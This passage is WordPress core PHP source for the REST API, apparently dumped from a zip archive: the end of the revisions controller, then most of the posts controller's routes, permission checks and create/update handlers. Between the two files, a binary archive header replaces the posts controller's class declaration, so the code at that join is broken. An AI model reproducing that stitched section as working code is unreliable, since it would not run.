if ( rest_is_field_included( 'title', $fields ) ) {
$data['title'] = array();
}
if ( rest_is_field_included( 'title.raw', $fields ) ) {
$data['title']['raw'] = $post->post_title;
}
if ( rest_is_field_included( 'title.rendered', $fields ) ) {
$data['title']['rendered'] = get_the_title( $post->ID );
}
if ( rest_is_field_included( 'content', $fields ) ) {
$data['content'] = array();
}
if ( rest_is_field_included( 'content.raw', $fields ) ) {
$data['content']['raw'] = $post->post_content;
}
if ( rest_is_field_included( 'content.rendered', $fields ) ) {
/** This filter is documented in wp-includes/post-template.php */
$data['content']['rendered'] = apply_filters( 'the_content', $post->post_content );
}
if ( rest_is_field_included( 'excerpt', $fields ) ) {
$data['excerpt'] = array();
}
if ( rest_is_field_included( 'excerpt.raw', $fields ) ) {
$data['excerpt']['raw'] = $post->post_excerpt;
}
if ( rest_is_field_included( 'excerpt.rendered', $fields ) ) {
$data['excerpt']['rendered'] = $this->prepare_excerpt_response( $post->post_excerpt, $post );
}
if ( rest_is_field_included( 'meta', $fields ) ) {
$data['meta'] = $this->meta->get_value( $post->ID, $request );
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
$response = rest_ensure_response( $data );
if ( ! empty( $data['parent'] ) ) {
$response->add_link( 'parent', rest_url( rest_get_route_for_post( $data['parent'] ) ) );
}
/**
* Filters a revision returned from the REST API.
*
* Allows modification of the revision right before it is returned.
*
* @since 4.7.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Post $post The original revision object.
* @param WP_REST_Request $request Request used to generate the response.
*/
return apply_filters( 'rest_prepare_revision', $response, $post, $request );
}
/**
* Checks the post_date_gmt or modified_gmt and prepare any post or
* modified date for single post output.
*
* @since 4.7.0
*
* @param string $date_gmt GMT publication time.
* @param string|null $date Optional. Local publication time. Default null.
* @return string|null ISO8601/RFC3339 formatted datetime, otherwise null.
*/
protected function prepare_date_response( $date_gmt, $date = null ) {
if ( '0000-00-00 00:00:00' === $date_gmt ) {
return null;
}
if ( isset( $date ) ) {
return mysql_to_rfc3339( $date );
}
return mysql_to_rfc3339( $date_gmt );
}
/**
* Retrieves the revision's schema, conforming to JSON Schema.
*
* @since 4.7.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => "{$this->parent_post_type}-revision",
'type' => 'object',
// Base properties for every Revision.
'properties' => array(
'author' => array(
'description' => __( 'The ID for the author of the revision.' ),
'type' => 'integer',
'context' => array( 'view', 'edit', 'embed' ),
),
'date' => array(
'description' => __( "The date the revision was published, in the site's timezone." ),
'type' => 'string',
'format' => 'date-time',
'context' => array( 'view', 'edit', 'embed' ),
),
'date_gmt' => array(
'description' => __( 'The date the revision was published, as GMT.' ),
'type' => 'string',
'format' => 'date-time',
'context' => array( 'view', 'edit' ),
),
'guid' => array(
'description' => __( 'GUID for the revision, as it exists in the database.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
),
'id' => array(
'description' => __( 'Unique identifier for the revision.' ),
'type' => 'integer',
'context' => array( 'view', 'edit', 'embed' ),
),
'modified' => array(
'description' => __( "The date the revision was last modified, in the site's timezone." ),
'type' => 'string',
'format' => 'date-time',
'context' => array( 'view', 'edit' ),
),
'modified_gmt' => array(
'description' => __( 'The date the revision was last modified, as GMT.' ),
'type' => 'string',
'format' => 'date-time',
'context' => array( 'view', 'edit' ),
),
'parent' => array(
'description' => __( 'The ID for the parent of the revision.' ),
'type' => 'integer',
'context' => array( 'view', 'edit', 'embed' ),
),
'slug' => array(
'description' => __( 'An alphanumeric identifier for the revision unique to its type.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
),
),
);
$parent_schema = $this->parent_controller->get_item_schema();
if ( ! empty( $parent_schema['properties']['title'] ) ) {
$schema['properties']['title'] = $parent_schema['properties']['title'];
}
if ( ! empty( $parent_schema['properties']['content'] ) ) {
$schema['properties']['content'] = $parent_schema['properties']['content'];
}
if ( ! empty( $parent_schema['properties']['excerpt'] ) ) {
$schema['properties']['excerpt'] = $parent_schema['properties']['excerpt'];
}
if ( ! empty( $parent_schema['properties']['guid'] ) ) {
$schema['properties']['guid'] = $parent_schema['properties']['guid'];
}
$schema['properties']['meta'] = $this->meta->get_field_schema();
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the query params for collections.
*
* @since 4.7.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
$query_params = parent::get_collection_params();
$query_params['context']['default'] = 'view';
unset( $query_params['per_page']['default'] );
$query_params['exclude'] = array(
'description' => __( 'Ensure result set excludes specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['include'] = array(
'description' => __( 'Limit result set to specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['offset'] = array(
'description' => __( 'Offset the result set by a specific number of items.' ),
'type' => 'integer',
);
$query_params['order'] = array(
'description' => __( 'Order sort attribute ascending or descending.' ),
'type' => 'string',
'default' => 'desc',
'enum' => array( 'asc', 'desc' ),
);
$query_params['orderby'] = array(
'description' => __( 'Sort collection by object attribute.' ),
'type' => 'string',
'default' => 'date',
'enum' => array(
'date',
'id',
'include',
'relevance',
'slug',
'include_slugs',
'title',
),
);
return $query_params;
}
/**
* Checks the post excerpt and prepare it for single post output.
*
* @since 4.7.0
*
* @param string $excerpt The post excerpt.
* @param WP_Post $post Post revision object.
* @return string Prepared excerpt or empty string.
*/
protected function prepare_excerpt_response( $excerpt, $post ) {
/** This filter is documented in wp-includes/post-template.php */
$excerpt = apply_filters( 'the_excerpt', $excerpt, $post );
if ( empty( $excerpt ) ) {
return '';
}
return $excerpt;
}
}
PK @:\~|ݙ ݙ , endpoints/class-wp-rest-posts-controller.phpnu [ true );
/**
* Constructor.
*
* @since 4.7.0
*
* @param string $post_type Post type.
*/
public function __construct( $post_type ) {
$this->post_type = $post_type;
$obj = get_post_type_object( $post_type );
$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';
$this->meta = new WP_REST_Post_Meta_Fields( $this->post_type );
}
/**
* Registers the routes for posts.
*
* @since 4.7.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => array( $this, 'create_item' ),
'permission_callback' => array( $this, 'create_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
),
'allow_batch' => $this->allow_batch,
'schema' => array( $this, 'get_public_item_schema' ),
)
);
$schema = $this->get_item_schema();
$get_item_args = array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
);
if ( isset( $schema['properties']['excerpt'] ) ) {
$get_item_args['excerpt_length'] = array(
'description' => __( 'Override the default excerpt length.' ),
'type' => 'integer',
);
}
if ( isset( $schema['properties']['password'] ) ) {
$get_item_args['password'] = array(
'description' => __( 'The password for the post if it is password protected.' ),
'type' => 'string',
);
}
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[\d]+)',
array(
'args' => array(
'id' => array(
'description' => __( 'Unique identifier for the post.' ),
'type' => 'integer',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => $get_item_args,
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_item' ),
'permission_callback' => array( $this, 'update_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Whether to bypass Trash and force deletion.' ),
),
),
),
'allow_batch' => $this->allow_batch,
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Checks if a given request has access to read posts.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function get_items_permissions_check( $request ) {
$post_type = get_post_type_object( $this->post_type );
if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit posts in this post type.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Overrides the result of the post password check for REST requested posts.
*
* Allow users to read the content of password protected posts if they have
* previously passed a permission check or if they have the `edit_post` capability
* for the post being checked.
*
* @since 5.7.1
*
* @param bool $required Whether the post requires a password check.
* @param WP_Post $post The post been password checked.
* @return bool Result of password check taking into account REST API considerations.
*/
public function check_password_required( $required, $post ) {
if ( ! $required ) {
return $required;
}
$post = get_post( $post );
if ( ! $post ) {
return $required;
}
if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) {
// Password previously checked and approved.
return false;
}
return ! current_user_can( 'edit_post', $post->ID );
}
/**
* Retrieves a collection of posts.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
// Ensure a search string is set in case the orderby is set to 'relevance'.
if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
return new WP_Error(
'rest_no_search_term_defined',
__( 'You need to define a search term to order by relevance.' ),
array( 'status' => 400 )
);
}
// Ensure an include parameter is set in case the orderby is set to 'include'.
if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
return new WP_Error(
'rest_orderby_include_missing_include',
__( 'You need to define an include parameter to order by include.' ),
array( 'status' => 400 )
);
}
// Retrieve the list of registered collection query parameters.
$registered = $this->get_collection_params();
$args = array();
/*
* This array defines mappings between public API query parameters whose
* values are accepted as-passed, and their internal WP_Query parameter
* name equivalents (some are the same). Only values which are also
* present in $registered will be set.
*/
$parameter_mappings = array(
'author' => 'author__in',
'author_exclude' => 'author__not_in',
'exclude' => 'post__not_in',
'include' => 'post__in',
'ignore_sticky' => 'ignore_sticky_posts',
'menu_order' => 'menu_order',
'offset' => 'offset',
'order' => 'order',
'orderby' => 'orderby',
'page' => 'paged',
'parent' => 'post_parent__in',
'parent_exclude' => 'post_parent__not_in',
'search' => 's',
'search_columns' => 'search_columns',
'slug' => 'post_name__in',
'status' => 'post_status',
);
/*
* For each known parameter which is both registered and present in the request,
* set the parameter's value on the query $args.
*/
foreach ( $parameter_mappings as $api_param => $wp_param ) {
if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
$args[ $wp_param ] = $request[ $api_param ];
}
}
// Check for & assign any parameters which require special handling or setting.
$args['date_query'] = array();
if ( isset( $registered['before'], $request['before'] ) ) {
$args['date_query'][] = array(
'before' => $request['before'],
'column' => 'post_date',
);
}
if ( isset( $registered['modified_before'], $request['modified_before'] ) ) {
$args['date_query'][] = array(
'before' => $request['modified_before'],
'column' => 'post_modified',
);
}
if ( isset( $registered['after'], $request['after'] ) ) {
$args['date_query'][] = array(
'after' => $request['after'],
'column' => 'post_date',
);
}
if ( isset( $registered['modified_after'], $request['modified_after'] ) ) {
$args['date_query'][] = array(
'after' => $request['modified_after'],
'column' => 'post_modified',
);
}
// Ensure our per_page parameter overrides any provided posts_per_page filter.
if ( isset( $registered['per_page'] ) ) {
$args['posts_per_page'] = $request['per_page'];
}
if ( isset( $registered['sticky'], $request['sticky'] ) ) {
$sticky_posts = get_option( 'sticky_posts', array() );
if ( ! is_array( $sticky_posts ) ) {
$sticky_posts = array();
}
if ( $request['sticky'] ) {
/*
* As post__in will be used to only get sticky posts,
* we have to support the case where post__in was already
* specified.
*/
$args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts;
/*
* If we intersected, but there are no post IDs in common,
* WP_Query won't return "no posts" for post__in = array()
* so we have to fake it a bit.
*/
if ( ! $args['post__in'] ) {
$args['post__in'] = array( 0 );
}
} elseif ( $sticky_posts ) {
/*
* As post___not_in will be used to only get posts that
* are not sticky, we have to support the case where post__not_in
* was already specified.
*/
$args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts );
}
}
/*
* Honor the original REST API `post__in` behavior. Don't prepend sticky posts
* when `post__in` has been specified.
*/
if ( ! empty( $args['post__in'] ) ) {
unset( $args['ignore_sticky_posts'] );
}
if (
isset( $registered['search_semantics'], $request['search_semantics'] )
&& 'exact' === $request['search_semantics']
) {
$args['exact'] = true;
}
$args = $this->prepare_tax_query( $args, $request );
if ( isset( $registered['format'], $request['format'] ) ) {
$formats = $request['format'];
/*
* The relation needs to be set to `OR` since the request can contain
* two separate conditions. The user may be querying for items that have
* either the `standard` format or a specific format.
*/
$formats_query = array( 'relation' => 'OR' );
/*
* The default post format, `standard`, is not stored in the database.
* If `standard` is part of the request, the query needs to exclude all post items that
* have a format assigned.
*/
if ( in_array( 'standard', $formats, true ) ) {
$formats_query[] = array(
'taxonomy' => 'post_format',
'field' => 'slug',
'operator' => 'NOT EXISTS',
);
// Remove the `standard` format, since it cannot be queried.
unset( $formats[ array_search( 'standard', $formats, true ) ] );
}
// Add any remaining formats to the formats query.
if ( ! empty( $formats ) ) {
// Add the `post-format-` prefix.
$terms = array_map(
static function ( $format ) {
return "post-format-$format";
},
$formats
);
$formats_query[] = array(
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => $terms,
'operator' => 'IN',
);
}
// Enable filtering by both post formats and other taxonomies by combining them with `AND`.
if ( isset( $args['tax_query'] ) ) {
$args['tax_query'][] = array(
'relation' => 'AND',
$formats_query,
);
} else {
$args['tax_query'] = $formats_query;
}
}
// Force the post_type argument, since it's not a user input variable.
$args['post_type'] = $this->post_type;
$is_head_request = $request->is_method( 'HEAD' );
if ( $is_head_request ) {
// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
$args['fields'] = 'ids';
// Disable priming post meta for HEAD requests to improve performance.
$args['update_post_term_cache'] = false;
$args['update_post_meta_cache'] = false;
}
/**
* Filters WP_Query arguments when querying posts via the REST API.
*
* The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
*
* Possible hook names include:
*
* - `rest_post_query`
* - `rest_page_query`
* - `rest_attachment_query`
*
* Enables adding extra arguments or setting defaults for a post collection request.
*
* @since 4.7.0
* @since 5.7.0 Moved after the `tax_query` query arg is generated.
*
* @link https://developer.wordpress.org/reference/classes/wp_query/
*
* @param array $args Array of arguments for WP_Query.
* @param WP_REST_Request $request The REST API request.
*/
$args = apply_filters( "rest_{$this->post_type}_query", $args, $request );
if ( ! is_array( $args ) ) {
$args = array();
}
$query_args = $this->prepare_items_query( $args, $request );
$posts_query = new WP_Query();
$query_result = $posts_query->query( $query_args );
// Allow access to all password protected posts if the context is edit.
if ( 'edit' === $request['context'] ) {
add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
}
if ( ! $is_head_request ) {
$posts = array();
update_post_author_caches( $query_result );
update_post_parent_caches( $query_result );
if ( post_type_supports( $this->post_type, 'thumbnail' ) ) {
update_post_thumbnail_cache( $posts_query );
}
foreach ( $query_result as $post ) {
if ( 'edit' === $request['context'] ) {
$permission = $this->check_update_permission( $post );
} else {
$permission = $this->check_read_permission( $post );
}
if ( ! $permission ) {
continue;
}
$data = $this->prepare_item_for_response( $post, $request );
$posts[] = $this->prepare_response_for_collection( $data );
}
}
// Reset filter.
if ( 'edit' === $request['context'] ) {
remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
}
$page = (int) ( $query_args['paged'] ?? 0 );
$total_posts = $posts_query->found_posts;
if ( $total_posts < 1 && $page > 1 ) {
// Out-of-bounds, run the query without pagination/offset to get the total count.
unset( $query_args['paged'] );
$count_query = new WP_Query();
$query_args['fields'] = 'ids';
$query_args['posts_per_page'] = 1;
$query_args['update_post_meta_cache'] = false;
$query_args['update_post_term_cache'] = false;
$count_query->query( $query_args );
$total_posts = $count_query->found_posts;
}
$max_pages = (int) ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] );
if ( $page > $max_pages && $total_posts > 0 ) {
return new WP_Error(
'rest_post_invalid_page_number',
__( 'The page number requested is larger than the number of pages available.' ),
array( 'status' => 400 )
);
}
$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $posts );
$response->header( 'X-WP-Total', (int) $total_posts );
$response->header( 'X-WP-TotalPages', (int) $max_pages );
$request_params = $request->get_query_params();
$collection_url = rest_url( rest_get_route_for_post_type_items( $this->post_type ) );
$base = add_query_arg( urlencode_deep( $request_params ), $collection_url );
if ( $page > 1 ) {
$prev_page = $page - 1;
if ( $prev_page > $max_pages ) {
$prev_page = $max_pages;
}
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $max_pages > $page ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Gets the post, if the ID is valid.
*
* @since 4.7.2
*
* @param int $id Supplied ID.
* @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
*/
protected function get_post( $id ) {
$error = new WP_Error(
'rest_post_invalid_id',
__( 'Invalid post ID.' ),
array( 'status' => 404 )
);
if ( (int) $id <= 0 ) {
return $error;
}
$post = get_post( (int) $id );
if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
return $error;
}
return $post;
}
/**
* Checks if a given request has access to read a post.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
*/
public function get_item_permissions_check( $request ) {
$post = $this->get_post( $request['id'] );
if ( is_wp_error( $post ) ) {
return $post;
}
if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( $post && ! empty( $request->get_query_params()['password'] ) ) {
// Check post password, and return error if invalid.
if ( ! hash_equals( $post->post_password, $request->get_query_params()['password'] ) ) {
return new WP_Error(
'rest_post_incorrect_password',
__( 'Incorrect post password.' ),
array( 'status' => 403 )
);
}
}
// Allow access to all password protected posts if the context is edit.
if ( 'edit' === $request['context'] ) {
add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
}
if ( $post ) {
return $this->check_read_permission( $post );
}
return true;
}
/**
* Checks if the user can access password-protected content.
*
* This method determines whether we need to override the regular password
* check in core with a filter.
*
* @since 4.7.0
*
* @param WP_Post $post Post to check against.
* @param WP_REST_Request $request Request data to check.
* @return bool True if the user can access password-protected content, otherwise false.
*/
public function can_access_password_content( $post, $request ) {
if ( empty( $post->post_password ) ) {
// No filter required.
return false;
}
/*
* Users always gets access to password protected content in the edit
* context if they have the `edit_post` meta capability.
*/
if (
'edit' === $request['context'] &&
current_user_can( 'edit_post', $post->ID )
) {
return true;
}
// No password, no auth.
if ( empty( $request['password'] ) ) {
return false;
}
// Double-check the request password.
return hash_equals( $post->post_password, $request['password'] );
}
/**
* Retrieves a single post.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$post = $this->get_post( $request['id'] );
if ( is_wp_error( $post ) ) {
return $post;
}
$data = $this->prepare_item_for_response( $post, $request );
$response = rest_ensure_response( $data );
if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) {
$response->link_header( 'alternate', get_permalink( $post->ID ), array( 'type' => 'text/html' ) );
}
return $response;
}
/**
* Checks if a given request has access to create a post.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
*/
public function create_item_permissions_check( $request ) {
if ( ! empty( $request['id'] ) ) {
return new WP_Error(
'rest_post_exists',
__( 'Cannot create existing post.' ),
array( 'status' => 400 )
);
}
$post_type = get_post_type_object( $this->post_type );
if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new WP_Error(
'rest_cannot_edit_others',
__( 'Sorry, you are not allowed to create posts as this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
return new WP_Error(
'rest_cannot_assign_sticky',
__( 'Sorry, you are not allowed to make posts sticky.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! current_user_can( $post_type->cap->create_posts ) ) {
return new WP_Error(
'rest_cannot_create',
__( 'Sorry, you are not allowed to create posts as this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! $this->check_assign_terms_permission( $request ) ) {
return new WP_Error(
'rest_cannot_assign_term',
__( 'Sorry, you are not allowed to assign the provided terms.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Creates a single post.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function create_item( $request ) {
if ( ! empty( $request['id'] ) ) {
return new WP_Error(
'rest_post_exists',
__( 'Cannot create existing post.' ),
array( 'status' => 400 )
);
}
$prepared_post = $this->prepare_item_for_database( $request );
if ( is_wp_error( $prepared_post ) ) {
return $prepared_post;
}
$prepared_post->post_type = $this->post_type;
if ( ! empty( $prepared_post->post_name )
&& ! empty( $prepared_post->post_status )
&& in_array( $prepared_post->post_status, array( 'draft', 'pending' ), true )
) {
/*
* `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
*
* To ensure that a unique slug is generated, pass the post data with the 'publish' status.
*/
$prepared_post->post_name = wp_unique_post_slug(
$prepared_post->post_name,
$prepared_post->id,
'publish',
$prepared_post->post_type,
$prepared_post->post_parent
);
}
$post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true, false );
if ( is_wp_error( $post_id ) ) {
if ( 'db_insert_error' === $post_id->get_error_code() ) {
$post_id->add_data( array( 'status' => 500 ) );
} else {
$post_id->add_data( array( 'status' => 400 ) );
}
return $post_id;
}
$post = get_post( $post_id );
/**
* Fires after a single post is created or updated via the REST API.
*
* The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
*
* Possible hook names include:
*
* - `rest_insert_post`
* - `rest_insert_page`
* - `rest_insert_attachment`
*
* @since 4.7.0
*
* @param WP_Post $post Inserted or updated post object.
* @param WP_REST_Request $request Request object.
* @param bool $creating True when creating a post, false when updating.
*/
do_action( "rest_insert_{$this->post_type}", $post, $request, true );
$schema = $this->get_item_schema();
if ( ! empty( $schema['properties']['sticky'] ) ) {
if ( ! empty( $request['sticky'] ) ) {
stick_post( $post_id );
} else {
unstick_post( $post_id );
}
}
if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
$this->handle_featured_media( $request['featured_media'], $post_id );
}
if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
set_post_format( $post, $request['format'] );
}
if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
$this->handle_template( $request['template'], $post_id, true );
}
$terms_update = $this->handle_terms( $post_id, $request );
if ( is_wp_error( $terms_update ) ) {
return $terms_update;
}
if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
$meta_update = $this->meta->update_value( $request['meta'], $post_id );
if ( is_wp_error( $meta_update ) ) {
return $meta_update;
}
}
$post = get_post( $post_id );
$fields_update = $this->update_additional_fields_for_object( $post, $request );
if ( is_wp_error( $fields_update ) ) {
return $fields_update;
}
$request->set_param( 'context', 'edit' );
/**
* Fires after a single post is completely created or updated via the REST API.
*
* The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
*
* Possible hook names include:
*
* - `rest_after_insert_post`
* - `rest_after_insert_page`
* - `rest_after_insert_attachment`
*
* @since 5.0.0
*
* @param WP_Post $post Inserted or updated post object.
* @param WP_REST_Request $request Request object.
* @param bool $creating True when creating a post, false when updating.
*/
do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );
wp_after_insert_post( $post, false, null );
$response = $this->prepare_item_for_response( $post, $request );
$response = rest_ensure_response( $response );
$response->set_status( 201 );
$response->header( 'Location', rest_url( rest_get_route_for_post( $post ) ) );
return $response;
}
/**
* Checks if a given request has access to update a post.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
*/
public function update_item_permissions_check( $request ) {
$post = $this->get_post( $request['id'] );
if ( is_wp_error( $post ) ) {
return $post;
}
$post_type = get_post_type_object( $this->post_type );
if ( $post && ! $this->check_update_permission( $post ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new WP_Error(
'rest_cannot_edit_others',
__( 'Sorry, you are not allowed to update posts as this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
return new WP_Error(
'rest_cannot_assign_sticky',
__( 'Sorry, you are not allowed to make posts sticky.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! $this->check_assign_terms_permission( $request ) ) {
return new WP_Error(
'rest_cannot_assign_term',
__( 'Sorry, you are not allowed to assign the provided terms.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Updates a single post.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function update_item( $request ) {
$valid_check = $this->get_post( $request['id'] );
if ( is_wp_error( $valid_check ) ) {
return $valid_check;
}
$post_before = get_post( $request['id'] );
$post = $this->prepare_item_for_database( $request );
if ( is_wp_error( $post ) ) {
return $post;
}
if ( ! empty( $post->post_status ) ) {
$post_status = $post->post_status;
} else {
$post_status = $post_before->post_status;
}
/*
* `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
*
* To ensure that a unique slug is generated, pass the post data with the 'publish' status.
*/
if ( ! empty( $post->post_name ) && in_array( $post_status, array( 'draft', 'pending' ), true ) ) {
$post_parent = ! empty( $post->post_parent ) ? $post->post_parent : 0;
$post->post_name = wp_unique_post_slug(
$post->post_name,
$post->ID,
'publish',
$post->post_type,
$post_parent
);
}
// Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input.
$post_id = wp_update_post( wp_slash( (array) $post ), true, false );
if ( is_wp_error( $post_id ) ) {
if ( 'db_update_error' === $post_id->get_error_code() ) {
$post_id->add_data( array( 'status' => 500 ) );
} else {
$post_id->add_data( array( 'status' => 400 ) );
}
return $post_id;
}
$post = get_post( $post_id );
/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
do_action( "rest_insert_{$this->post_type}", $post, $request, false );
$schema = $this->get_item_schema();
if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
set_post_format( $post, $request['format'] );
}
if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
$this->handle_featured_media( $request['featured_media'], $post_id );
}
if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) {
if ( ! empty( $request['sticky'] ) ) {
stick_post( $post_id );
} else {
unstick_post( $post_id );
}
}
if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
$this->handle_template( $request['template'], $post->ID );
}
$terms_update = $this->handle_terms( $post->ID, $request );
if ( is_wp_error( $terms_update ) ) {
return $terms_update;
}
if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
$meta_update = $this->meta->update_value( $request['meta'], $post->ID );
if ( is_wp_error( $meta_update ) ) {
return $meta_update;
}
}
$post = get_post( $post_id );
$fields_update = $this->update_additional_fields_for_object( $post, $request );
if ( is_wp_error( $fields_update ) ) {
return $fields_update;
}
$request->set_param( 'context', 'edit' );
// Filter is fired in WP_REST_Attachments_Controller subclass.
if ( 'attachment' === $this->post_type ) {
$response = $this->prepare_item_for_response( $post, $request );
return rest_ensure_response( $response );
}
/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );
wp_after_insert_post( $post, true, $post_before );
$response = $this->prepare_item_for_response( $post, $request );
return rest_ensure_response( $response );
}
/**
* Checks if a given request has access to delete a post.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
*/
public function delete_item_permissions_check( $request ) {
$post = $this->get_post( $request['id'] );
if ( is_wp_error( $post ) ) {
return $post;
}
if ( $post && ! $this->check_delete_permission( $post ) ) {
return new WP_Error(
'rest_cannot_delete',
__( 'Sorry, you are not allowed to delete this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
